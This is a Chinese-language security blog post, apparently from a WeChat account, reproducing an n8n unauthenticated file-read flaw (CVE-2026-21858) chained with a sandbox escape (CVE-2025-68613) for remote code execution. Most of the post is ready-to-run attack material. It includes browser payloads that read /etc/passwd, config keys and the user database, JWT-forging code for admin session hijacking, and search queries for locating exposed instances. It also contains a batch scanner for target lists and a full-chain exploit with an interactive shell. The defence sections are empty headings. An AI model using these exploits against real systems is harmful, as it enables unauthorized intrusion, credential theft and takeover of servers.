CVE-2026-21858 因不当的 Webhook 请求处理而易受未认证文件访问

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。

🔬 技术分析

漏洞原理

N8N 是一个开源的工作流程自动化平台。1.65.0 及以下版本允许攻击者通过执行某些基于表单的工作流程访问底层服务器上的文件。一个易受攻击的工作流程可能让未认证的远程攻击者获得访问权限，导致系统中存储的敏感信息暴露，并根据部署配置和工作流程使用情况，可能进一步被攻破。这个问题在 1.121.0 版本中修复了。

与[[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]] 联合使用就能直接日穿n8n系统。CVE-2025-68613 漏洞虽然可以RCE，但是前提条件是知道n8n系统的登录密码，而且这个账户还需要有节点编辑权限。也就是必须登录到下图这样节点编辑的界面才能成功执行，如果不知道账户密码，或者登录的账户没有节点编辑权限的话就没办法，只能干瞪眼。这时候CVE-2026-2185来了，这个漏洞可以在不登陆的情况下，获得系统一些敏感文件的读取权限，从而访问比如 /etc/passwd 这样的文件获得密码。从而实现完整的攻击链条。

💣 漏洞复现

环境搭建

docker-compose.yml文件如下

services:
n8n:
build: .
container_name: n8n-vulnerable
ports:
– "5678:5678"
environment:
– N8N_SECURE_COOKIE=false
– WEBHOOK_URL=http://localhost:5678/
volumes:
– ./init:/init:ro
entrypoint: >
bash -c "
apt-get update && apt-get install -y curl > /dev/null 2>&1
n8n start &
sleep 15
bash /init/setup.sh
wait
"

Dockerfile文件如下

FROM node:20-slim

RUN npm install -g n8n@1.65.0

EXPOSE 5678

CMD ["n8n", "start"]

搭建环境

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: admin@exploit.local / password

注意，真实渗透并不需要密码。

利用步骤

打开 http://IP:5678/form/vulnerable-form 看得到一个上传文件的窗口，并没有任何登录验证的过程，打开就看得到。

随便穿一个图片就看到显示如此

完整的纯手动利用步骤

第一步：触发任意文件读取

按F12打开控制台Console输入如下内容

fetch('http://target-ip:5678/form/vulnerable-form', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
data: {},
files: {
test: {
filepath: '/etc/passwd',
originalFilename: 'test.txt',
mimetype: 'text/plain',
size: 100
}
}
})
})
.then(r => r.text())
.then(console.log)

确认任意文件读取漏洞存在，然后读取计算jwt所需的文件。

// 1. 读取环境变量获取HOME目录
fetch('http://target-ip:5678/form/vulnerable-form', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
data: {},
files: {
test: {
filepath: '/proc/self/environ',
originalFilename: 'environ.txt',
mimetype: 'text/plain',
size: 1000
}
}
})
})
.then(r => r.text())
.then(data => {
console.log('环境变量:', data);
// 从输出中找到 HOME=/home/node 或 HOME=/root
});

// 可能的配置文件路径
const configPaths = [
'/home/node/.n8n/config',
'/root/.n8n/config',
'/.n8n/config'
];

// 尝试读取配置
async function readConfig() {
for (const path of configPaths) {
try {
const response = await fetch('http://target-ip:5678/form/vulnerable-form', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
data: {},
files: {
config: {
filepath: path,
originalFilename: 'config.json',
mimetype: 'application/json',
size: 10000
}
}
})
});

const text = await response.text();
if (!text.includes('error') && !text.includes('could not be started')) {
console.log(`成功读取 ${path}:`, text);
return text;
}
} catch (e) {
console.log(`读取 ${path} 失败:`, e);
}
}
}

readConfig();

// 方法1: 尝试以文本形式读取（SQLite有些部分是可读文本）
fetch('http://target-ip:5678/form/vulnerable-form', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
data: {},
files: {
db: {
filepath: '/root/.n8n/database.sqlite',
originalFilename: 'database.txt',
mimetype: 'text/plain', // 改为text/plain
size: 500000
}
}
})
})
.then(r => r.text())
.then(data => {
console.log('数据库内容（可能是二进制+文本混合）:', data);

// 尝试提取邮箱地址（通常是可读文本）
const emailMatches = data.match(/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}/g);
console.log('找到的邮箱:', emailMatches);

// 尝试提取bcrypt密码哈希
const bcryptMatches = data.match(/\\$2[aby]\\$\\d{2}\\$[./A-Za-z0-9]{53}/g);
console.log('找到的密码哈希:', bcryptMatches);

// 尝试提取UUID（用户ID）
const uuidMatches = data.match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi);
console.log('找到的UUID:', uuidMatches);
});

得到

环境变量: HOSTNAME=0f0c3e315f95 YARN_VERSION=1.22.22 PWD=/ HOME=/root WEBHOOK_URL=http://localhost:5678/ SHLVL=0 N8N_SECURE_COOKIE=false PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NODE_VERSION=20.20.0 _=/usr/local/bin/n8n

成功读取 /root/.n8n/config: {
"encryptionKey": "HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G"
}

找到的邮箱: (3) ['admin@exploit.local', '%36aec5f0-fd9e-4638-a245-468225f23a17admin@exploit.localAdminExploit', 'admin@exploit.local']
VM41:27 找到的密码哈希: ['$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2']
VM41:31 找到的UUID: (7) ['0a8aee21-505e-4b4b-9277-957028c62991', '113cf64e-837c-44aa-83f3-5244ee446eac', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17']

第二步：手动伪造JWT令牌

提取到的关键信息

encryptionKey: HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G
userId: 36aec5f0-fd9e-4638-a245-468225f23a17 (出现5次，明显是管理员)
email: admin@exploit.local
passwordHash: $2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2

方法一：使用浏览器完成JWT伪造（纯手动）

在浏览器控制台运行以下代码：

// 第1步：加载crypto-js库
const script = document.createElement('script');
script.src = 'https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js';
document.head.appendChild(script);

// 第2步：等待3秒后运行JWT生成代码
setTimeout(() => {
// 已知信息
const encryptionKey = "HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G";
const userId = "36aec5f0-fd9e-4638-a245-468225f23a17";
const email = "admin@exploit.local";
const passwordHash = "$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2";

// 派生JWT secret（取偶数位字符）
let extracted = '';
for (let i = 0; i < encryptionKey.length; i += 2) {
extracted += encryptionKey[i];
}
const jwtSecret = CryptoJS.SHA256(extracted).toString();
console.log('🔑 JWT Secret:', jwtSecret);

// 计算JWT hash
const combined = email + ':' + passwordHash;
const sha256Hash = CryptoJS.SHA256(combined);
const base64Hash = sha256Hash.toString(CryptoJS.enc.Base64);
const jwtHash = base64Hash.substring(0, 10);
console.log('🔐 JWT Hash:', jwtHash);

// 构造JWT Header和Payload
const header = {alg: "HS256", typ: "JWT"};
const payload = {id: userId, hash: jwtHash};

// Base64URL编码
const base64urlEncode = (obj) => {
return btoa(JSON.stringify(obj))
.replace(/\\+/g, '-')
.replace(/\\//g, '_')
.replace(/=/g, '');
};

const headerB64 = base64urlEncode(header);
const payloadB64 = base64urlEncode(payload);

// 计算签名
const message = headerB64 + '.' + payloadB64;
const signature = CryptoJS.HmacSHA256(message, jwtSecret)
.toString(CryptoJS.enc.Base64)
.replace(/\\+/g, '-')
.replace(/\\//g, '_')
.replace(/=/g, '');

// 完整JWT
const token = message + '.' + signature;
console.log('✅ JWT Token:', token);

// 设置Cookie，IP改成靶机的IP
document.cookie = `n8n-auth=${token}; path=/; domain=target-ip`;
console.log('🍪 Cookie已设置！');
console.log('📍 现在访问: http://target-ip:5678/');

// 自动跳转
setTimeout(() => {
window.location.href = 'http://target-ip:5678/';
}, 1000);

}, 3000);

直接就进来了，都不用输入密码登录。

方法二：使用在线Python工具

如果浏览器方法有问题，访问 https://www.online-python.com/ 并运行：

import hashlib
import base64
import hmac
import json

# 已知信息
encryption_key = "HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G"
user_id = "36aec5f0-fd9e-4638-a245-468225f23a17"
email = "admin@exploit.local"
password_hash = "$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2"

# 步骤1: 派生JWT secret（取偶数位字符）
extracted = encryption_key[::2]
jwt_secret = hashlib.sha256(extracted.encode()).hexdigest()
print(f"JWT Secret: {jwt_secret}")

# 步骤2: 计算JWT hash
combined = f"{email}:{password_hash}"
jwt_hash_full = base64.b64encode(hashlib.sha256(combined.encode()).digest()).decode()
jwt_hash = jwt_hash_full[:10]
print(f"JWT Hash: {jwt_hash}")

# 步骤3: 构造JWT
def base64url_encode(data):
return base64.urlsafe_b64encode(data).decode().rstrip('=')

# Header
header = {"alg": "HS256", "typ": "JWT"}
header_b64 = base64url_encode(json.dumps(header, separators=(',', ':')).encode())

# Payload
payload = {"id": user_id, "hash": jwt_hash}
payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':')).encode())

# Signature
message = f"{header_b64}.{payload_b64}"
signature_bytes = hmac.new(jwt_secret.encode(), message.encode(), hashlib.sha256).digest()
signature = base64.urlsafe_b64encode(signature_bytes).decode().rstrip('=')

# 完整JWT
jwt_token = f"{header_b64}.{payload_b64}.{signature}"

print(f"\\n=== 复制下面的JWT Token ===")
print(jwt_token)
print(f"\\n=== 设置Cookie命令 ===")
print(f"document.cookie = \\"n8n-auth={jwt_token}; path=/\\";")

运行结果

JWT Secret: 16d04397ec90148196f72aa9cd5e6c84bf04f693a9244a148384043fc98f4b9d
JWT Hash: ncMgzO+zwP

=== 复制下面的JWT Token ===
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2YWVjNWYwLWZkOWUtNDYzOC1hMjQ1LTQ2ODIyNWYyM2ExNyIsImhhc2giOiJuY01nek8rendQIn0.N0P9jTH-n1qFtZcgA9THAivy-ISh6uQ22nH2qHToqnQ

=== 设置Cookie命令 ===
document.cookie = "n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2YWVjNWYwLWZkOWUtNDYzOC1hMjQ1LTQ2ODIyNWYyM2ExNyIsImhhc2giOiJuY01nek8rendQIn0.N0P9jTH-n1qFtZcgA9THAivy-ISh6uQ22nH2qHToqnQ; path=/";

浏览器控制台输入命令即可登录到工作流界面。

方法三：手动在浏览器设置Cookie

如果上面的自动跳转不work，手动设置：

// 将这里的TOKEN替换为生成的JWT
document.cookie = "n8n-auth=TOKEN_HERE; path=/; domain=target-ip";

// 然后访问
window.location.href = 'http://target-ip:5678/';

第三步：通过Web界面手动创建RCE工作流

到这一步就可以用[[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]] 的方法了，就和老洞结合起来了。

手动利用总结

完全手动可行的部分：

• ✅ 文件读取（浏览器控制台 + fetch）
• ✅ 数据库分析（在线SQLite工具）
• ⚠️ JWT伪造（需要Python或在线工具辅助）
• ✅ 工作流创建（Web界面点击操作）
• ✅ RCE触发（浏览器控制台 + fetch）

关键点：JWT伪造是唯一需要编程辅助的步骤，但可以用在线Python解释器（如 https://replit.com/ 或 https://www.online-python.com/）完成，不需要本地安装任何工具。

全自动自动脚本

# 拉取poc
git clone https://github.com/Chocapikk/CVE-2026-21858.git

# 读取文件
python exploit.py http://localhost:5678 /form/vulnerable-form –read /etc/passwd

# 双CVE的RCE利用
python exploit.py http://localhost:5678 /form/vulnerable-form –cmd "id"

# 交互式shell
python exploit.py http://localhost:5678 /form/vulnerable-form

📋 CVE-2026-21858 漏洞利用的必要条件

⚠️ 重要声明

这不是一个"万能"的 n8n 漏洞！ 它需要目标系统满足特定的配置条件才能成功利用。

✅ 必须满足的 5 个条件

🎯 易受攻击的工作流示例

典型的漏洞配置

{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode", // ← 关键：使用响应节点模式
"formFields": {
"values": [
{
"fieldLabel": "document",
"fieldType": "file" // ← 关键：文件类型字段
}
]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary", // ← 关键：返回二进制数据
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": {
"main": [[{"node": "Respond"}]] // ← 关键：两个节点必须连接
}
}
}

下载靶机的工作流程配置确实如此。

{
"name": "Vulnerable Form",
"nodes": [
{
"parameters": {
"formTitle": "Upload",
"formFields": {
"values": [
{
"fieldLabel": "document",
"fieldType": "file"
}
]
},
"responseMode": "responseNode",
"options": {}
},
"id": "trigger",
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"typeVersion": 2.2,
"position": [
0,
0
],
"webhookId": "vulnerable-form"
},
{
"parameters": {
"respondWith": "binary",
"options": {}
},
"id": "respond",
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"typeVersion": 1.1,
"position": [
300,
0
]
}
],
"pinData": {},
"connections": {
"Form Trigger": {
"main": [
[
{
"node": "Respond",
"type": "main",
"index": 0
}
]
]
}
},
"active": true,
"settings": {
"executionOrder": "v1"
},
"versionId": "113cf64e-837c-44aa-83f3-5244ee446eac",
"meta": {
"templateCredsSetupCompleted": true,
"instanceId": "3f11b0ad0c3ab511dade954f94dc424506d153073749fdfee9eaf02b3c813448"
},
"id": "Tjg3GOuwAWx89qE2",
"tags": []
}

🔑 漏洞触发的关键要素

✅ 适用场景（可以利用）

1. 文件处理工作流

• ✅ PDF 转换器
• ✅ 图片压缩/调整大小
• ✅ 文档格式转换器
• ✅ 文件预览服务

特点: 用户上传文件 → 处理 → 返回处理后的文件

2. 默认 n8n 安装

• ✅ 表达式注入（CVE-2025-68613）未被禁用
• ✅ 本地部署或 Docker 部署
• ✅ 配置和数据库存储在本地磁盘

3. 公开访问的表单

• ✅ 无需登录即可访问
• ✅ 无需 API 密钥或 Token
• ✅ 直接通过 URL 可访问

❌ 不适用场景（无法利用）

1. 没有响应节点的表单

Form Trigger → [其他处理节点] → 保存到数据库/发送邮件
↑
没有 Respond 节点

结果: 文件被读取但内容无法通过 HTTP 响应获取

2. 需要认证的表单

访问表单 → 要求登录 → 无法提交恶意 payload

结果: 无法触发漏洞

3. n8n Cloud（云端托管）

• ❌ 不同的架构设计
• ❌ 无法直接访问本地文件系统
• ❌ 数据库不在可读取的路径

4. 已修复版本

• ❌ n8n >= 1.121.0（任意文件读取已修复）
• ❌ n8n >= 1.120.4（表达式注入已修复）

🔍 漏洞原理深度解析

漏洞触发流程

1. 攻击者发送恶意 JSON payload:
{
"files": {
"test": {
"filepath": "/etc/passwd", // ← 控制文件路径
"originalFilename": "test.txt",
"mimetype": "text/plain"
}
}
}

2. n8n 错误处理:
– 接受 Content-Type: application/json（应该只接受 multipart/form-data）
– 直接使用用户提供的 filepath
– 没有路径验证或沙箱限制

3. 文件读取:
– n8n 读取攻击者指定的任意文件
– 将内容传递给 Respond 节点

4. 数据泄露:
– Respond 节点配置为 respondWith: "binary"
– 文件内容直接在 HTTP 响应中返回给攻击者

🎭 替代利用方式

即使没有 “Respond to Webhook” 节点，漏洞仍然存在，但需要不同的数据外泄方法：

方法 1: 带外（OOB）数据外泄

Form Trigger → HTTP Request 节点
↓
将文件内容发送到攻击者的服务器

方法 2: 时序攻击（Blind Exploitation）

读取文件 → 根据文件大小/内容延迟响应
↓
攻击者通过响应时间推断文件内容

方法 3: 其他输出节点

Form Trigger → Email/Slack/Discord 节点
↓
将文件内容发送到攻击者控制的账户

📊 现实世界中的应用场景

容易受攻击的真实用例

不易受攻击的配置

搜索语法

n8n 平台远程代码执行漏洞（CVE-2025-68613）ZoomEye搜索app=“n8n” https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i hunter搜索语法

web.icon=="8ad475e8b10ff8bcff648ae6d49c88ae"
web.icon="8ad475e8b10ff8bcff648ae6d49c88ae"&&icp.number!==""&&icp.name!="公司"&&icp.name!="工作室"&&icp.type!="个人"

Nuclei模板

id: CVE–2026–21858–lfi–fixed

info:
name: n8n Arbitrary File Read (CVE–2026–21858) – Active Check
author: customized
severity: critical
description: |
Proves CVE-2026-21858 by reading /etc/passwd via n8n vulnerable form trigger.
tags: cve,cve2026,n8n,lfi

requests:
– method: POST
path:
– "{{BaseURL}}/form/vulnerable-form"
– "{{BaseURL}}/webhook/vulnerable-form"
– "{{BaseURL}}/form/upload"
– "{{BaseURL}}/webhook/upload"
# 如果你知道其他特定路径，可以在这里添加

headers:
Content-Type: "application/json"

# 这里的 JSON 必须是压缩的一行，严格模仿 Python 脚本的 Payload
body: '{"data":{},"files":{"check_vuln":{"filepath":"/etc/passwd","originalFilename":"check.bin","mimetype":"application/octet-stream","size":1024}}}'

matchers-condition: and
matchers:
– type: regex
part: body
regex:
– "root:.*:0:0:"

– type: status
status:
– 200

把上面的代码保存为CVE-2026-21858-lfi.yaml文件，然后执行如下命令。

nuclei -u http://8vccf5j.haobachang.loveli.com.cn:8888/ -t CVE-2026-21858-lfi.yaml

批量测试脚本

scan_n8n.py内容如下

#!/usr/bin/env python3
import requests
import argparse
import urllib3
import concurrent.futures
from urllib.parse import urljoin
import sys

# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 颜色代码
GREEN = "\\033[92m"
RED = "\\033[91m"
YELLOW = "\\033[93m"
RESET = "\\033[0m"

def get_lfi_payload(filepath="/etc/passwd"):
"""构造恶意 JSON Payload"""
return {
"data": {},
"files": {
"check_vuln": {
"filepath": filepath,
"originalFilename": "test.bin",
"mimetype": "application/octet-stream",
"size": 1024
}
}
}

def check_vulnerability(target_url, form_path):
"""检测单个目标"""
# 确保 URL 格式正确
if not target_url.startswith("http"):
target_url = f"http://{target_url}"

full_url = urljoin(target_url, form_path)

try:
# 发送 LFI 请求
response = requests.post(
full_url,
json=get_lfi_payload(),
headers={"Content-Type": "application/json"},
timeout=10,
verify=False
)

# 检查 /etc/passwd 的特征字符
if response.status_code == 200 and "root:x:0:0" in response.text:
print(f"[{GREEN}VULN{RESET}] {full_url} – Successfully read /etc/passwd")
return full_url
elif response.status_code == 404:
# 这里的 404 可能意味着 Form ID 不对，而不是 n8n 不存在
print(f"[{YELLOW}WARN{RESET}] {full_url} – Form endpoint not found (404)")
else:
print(f"[{RED}FAIL{RESET}] {full_url} – Not vulnerable or unknown response (Code: {response.status_code})")

except requests.exceptions.RequestException as e:
print(f"[{RED}ERR {RESET}] {target_url} – Connection failed: {str(e)[:50]}")

return None

def main():
parser = argparse.ArgumentParser(description="Batch Scanner for CVE-2026-21858 (n8n LFI)")
parser.add_argument("-f", "–file", help="File containing list of target URLs", required=True)
parser.add_argument("-p", "–path", help="Form path to test (default: /form/vulnerable-form)", default="/form/vulnerable-form")
parser.add_argument("-t", "–threads", help="Number of threads", type=int, default=10)
parser.add_argument("-o", "–output", help="File to save vulnerable URLs", default="vuln_hosts.txt")

args = parser.parse_args()

targets = []
try:
with open(args.file, "r") as f:
targets = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"Error: File {args.file} not found.")
sys.exit(1)

print(f"[*] Loaded {len(targets)} targets.")
print(f"[*] Testing Form Path: {args.path}")
print("[*] Starting scan…\\n")

vulnerable_hosts = []

# 多线程扫描
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = {executor.submit(check_vulnerability, url, args.path): url for url in targets}

for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
vulnerable_hosts.append(result)

# 保存结果
if vulnerable_hosts:
with open(args.output, "w") as f:
for url in vulnerable_hosts:
f.write(url + "\\n")
print(f"\\n[{GREEN}SUCCESS{RESET}] Found {len(vulnerable_hosts)} vulnerable hosts. Saved to {args.output}")
else:
print(f"\\n[{RED}FINISHED{RESET}] No vulnerable hosts found.")

if __name__ == "__main__":
main()

准备一个 target.txt，每行一个 http://ip:port。

python .\\scan_n8n.py -f .\\target.txt -t 20

🛡️ 防御建议

对于 n8n 用户

对于开发者

💡 总结

CVE-2026-21858 不是通用漏洞，它需要：

• ✅ 特定的工作流配置（文件上传 + 响应节点）
• ✅ 工作流处于激活状态
• ✅ 无认证保护
• ✅ 易受攻击的 n8n 版本

但是，满足这些条件的系统非常容易被完全攻陷：

CVSS 评分 10.0 是合理的，因为一旦条件满足，攻击链是完全可靠且易于执行的。

🔗 参考资源

官方公告

https://www.cve.org/CVERecord?id=CVE-2026-21858

技术分析

• Cyera Research – Ni8mare Full Write-up – Original research by Dor Attias
• GHSA-v4pr-fm98-w9pg – CVE-2026-21858
• GHSA-v98v-ff95-f3cp – CVE-2025-68613
• Nuclei Template CVE-2025-68613
• LeakIX Search Results – Exposed vulnerable instances
• Formidable – “The library, not the song” (thanks Cyera for the laugh)

PoC/Exploit

#!/usr/bin/env python3
"""
CVE-2026-21858 + CVE-2025-68613 – n8n Full Chain Exploit
Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE

Author: Chocapikk
GitHub: https://github.com/Chocapikk/CVE-2026-21858
"""

import argparse
import hashlib
import json
import secrets
import sqlite3
import string
import tempfile
from base64 import b64encode

import jwt
import requests
from pwn import log

BANNER = """
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 – n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
║ ║
║ by Chocapikk ║
╚═══════════════════════════════════════════════════════════════╝
"""

RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'

def randstr(n: int = 12) –> str:
return "".join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n))

def randpos() –> list[int]:
return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100]

class Ni8mare:
def __init__(self, base_url: str, form_path: str):
self.base_url = base_url.rstrip("/")
self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
self.session = requests.Session()
self.admin_token = None

def _api(self, method: str, path: str, **kwargs) –> requests.Response | None:
kwargs.setdefault("timeout", 30)
kwargs.setdefault("cookies", {"n8n-auth": self.admin_token} if self.admin_token else {})
resp = self.session.request(method, f"{self.base_url}{path}", **kwargs)
return resp if resp.ok else None

def _lfi_payload(self, filepath: str) –> dict:
return {
"data": {},
"files": {
f"f-{randstr(6)}": {
"filepath": filepath,
"originalFilename": f"{randstr(8)}.bin",
"mimetype": "application/octet-stream",
"size": secrets.randbelow(90000) + 10000
}
}
}

def _build_nodes(self, command: str) –> tuple[list, dict, str, str]:
trigger_name, rce_name = f"T-{randstr(8)}", f"R-{randstr(8)}"
result_var = f"v{randstr(6)}"
payload_value = RCE_PAYLOAD.replace("CMD", command.replace('"', '\\\\"'))
nodes = [
{"parameters": {}, "name": trigger_name, "type": "n8n-nodes-base.manualTrigger",
"typeVersion": 1, "position": randpos(), "id": f"t-{randstr(12)}"},
{"parameters": {"values": {"string": [{"name": result_var, "value": payload_value}]}},
"name": rce_name, "type": "n8n-nodes-base.set", "typeVersion": 2,
"position": randpos(), "id": f"r-{randstr(12)}"}
]
connections = {trigger_name: {"main": [[{"node": rce_name, "type": "main", "index": 0}]]}}
return nodes, connections, trigger_name, rce_name

# ========== Arbitrary File Read (CVE-2026-21858) ==========

def read_file(self, filepath: str, timeout: int = 30) –> bytes | None:
resp = self.session.post(
self.form_url, json=self._lfi_payload(filepath),
headers={"Content-Type": "application/json"}, timeout=timeout
)
return resp.content if resp.ok and resp.content else None

def get_version(self) –> tuple[str, bool]:
resp = self._api("GET", "/rest/settings", timeout=10)
version = resp.json().get("data", {}).get("versionCli", "0.0.0") if resp else "0.0.0"
major, minor = map(int, version.split(".")[:2])
return version, major < 1 or (major == 1 and minor < 121)

def get_home(self) –> str | None:
data = self.read_file("/proc/self/environ")
if not data:
return None
for var in data.split(b"\\x00"):
if var.startswith(b"HOME="):
return var.decode().split("=", 1)[1]
return None

def get_key(self, home: str) –> str | None:
data = self.read_file(f"{home}/.n8n/config")
return json.loads(data).get("encryptionKey") if data else None

def get_db(self, home: str) –> bytes | None:
return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120)

def extract_admin(self, db: bytes) –> tuple[str, str, str] | None:
with tempfile.NamedTemporaryFile(suffix=".db") as f:
f.write(db)
f.flush()
conn = sqlite3.connect(f.name)
row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone()
conn.close()
return (row[0], row[1], row[2]) if row else None

def forge_token(self, key: str, uid: str, email: str, pw_hash: str) –> str:
secret = hashlib.sha256(key[::2].encode()).hexdigest()
h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
self.admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
return self.admin_token

def verify_token(self) –> bool:
return self._api("GET", "/rest/users", timeout=10) is not None

# ========== RCE (CVE-2025-68613) ==========

def rce(self, command: str) –> str | None:
nodes, connections, _, _ = self._build_nodes(command)
wf_name = f"wf-{randstr(16)}"
workflow = {"name": wf_name, "active": False, "nodes": nodes,
"connections": connections, "settings": {}}

resp = self._api("POST", "/rest/workflows", json=workflow, timeout=10)
if not resp:
return None
wf_id = resp.json().get("data", {}).get("id")
if not wf_id:
return None

run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active": False,
"nodes": nodes, "connections": connections, "settings": {}}}
resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
if not resp:
self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
return None

exec_id = resp.json().get("data", {}).get("executionId")
result = self._get_result(exec_id) if exec_id else None
self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
return result

def _get_result(self, exec_id: str) –> str | None:
resp = self._api("GET", f"/rest/executions/{exec_id}", timeout=10)
if not resp:
return None
data = resp.json().get("data", {}).get("data")
if not data:
return None
parsed = json.loads(data)
# Result is usually the last non-empty string
for item in reversed(parsed):
if isinstance(item, str) and len(item) > 3 and item not in ("success", "error"):
return item.strip()
return None

# ========== Full Chain ==========

def pwn(self) –> bool:
p = log.progress("HOME directory")
home = self.get_home()
if not home:
return p.failure("Not found") or False
p.success(home)

p = log.progress("Encryption key")
key = self.get_key(home)
if not key:
return p.failure("Failed") or False
p.success(f"{key[:8]}…")

p = log.progress("Database")
db = self.get_db(home)
if not db:
return p.failure("Failed") or False
p.success(f"{len(db)} bytes")

p = log.progress("Admin user")
admin = self.extract_admin(db)
if not admin:
return p.failure("Not found") or False
uid, email, pw = admin
p.success(email)

p = log.progress("Token forge")
self.forge_token(key, uid, email, pw)
p.success("OK")

p = log.progress("Admin access")
if not self.verify_token():
return p.failure("Rejected") or False
p.success("GRANTED!")

log.success(f"Cookie: n8n-auth={self.admin_token}")
return True

def parse_args():
p = argparse.ArgumentParser(description="n8n Ni8mare – Full Chain Exploit")
p.add_argument("url", help="Target URL (http://target:5678)")
p.add_argument("form", help="Form path (/form/upload)")
p.add_argument("–read", metavar="PATH", help="Read arbitrary file")
p.add_argument("–cmd", metavar="CMD", help="Execute single command")
p.add_argument("-o", "–output", metavar="FILE", help="Save LFI output to file")
return p.parse_args()

def run_read(exploit: Ni8mare, path: str, output: str | None) –> None:
data = exploit.read_file(path)
if not data:
log.error("File read failed")
return
log.success(f"{len(data)} bytes")
if output:
with open(output, "wb") as f:
f.write(data)
log.success(f"Saved: {output}")
return
print(data.decode())

def run_cmd(exploit: Ni8mare, cmd: str) –> None:
p = log.progress("RCE")
out = exploit.rce(cmd)
if not out:
p.failure("Failed")
return
p.success("OK")
print(f"\\n{out}")

def run_shell(exploit: Ni8mare) –> None:
log.info("Interactive mode (type 'exit' to quit)")
while True:
try:
cmd = input("\\033[91mn8n\\033[0m> ").strip()
except (EOFError, KeyboardInterrupt):
print()
return
if not cmd or cmd == "exit":
return
out = exploit.rce(cmd)
if out:
print(out)

def main():
print(BANNER)
args = parse_args()

exploit = Ni8mare(args.url, args.form)
version, vuln = exploit.get_version()
log.info(f"Target: {exploit.form_url}")
log.info(f"Version: {version} ({'VULN' if vuln else 'SAFE'})")

if args.read:
run_read(exploit, args.read, args.output)
return

if not exploit.pwn():
return

if args.cmd:
run_cmd(exploit, args.cmd)
return

run_shell(exploit)

if __name__ == "__main__":
main()

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚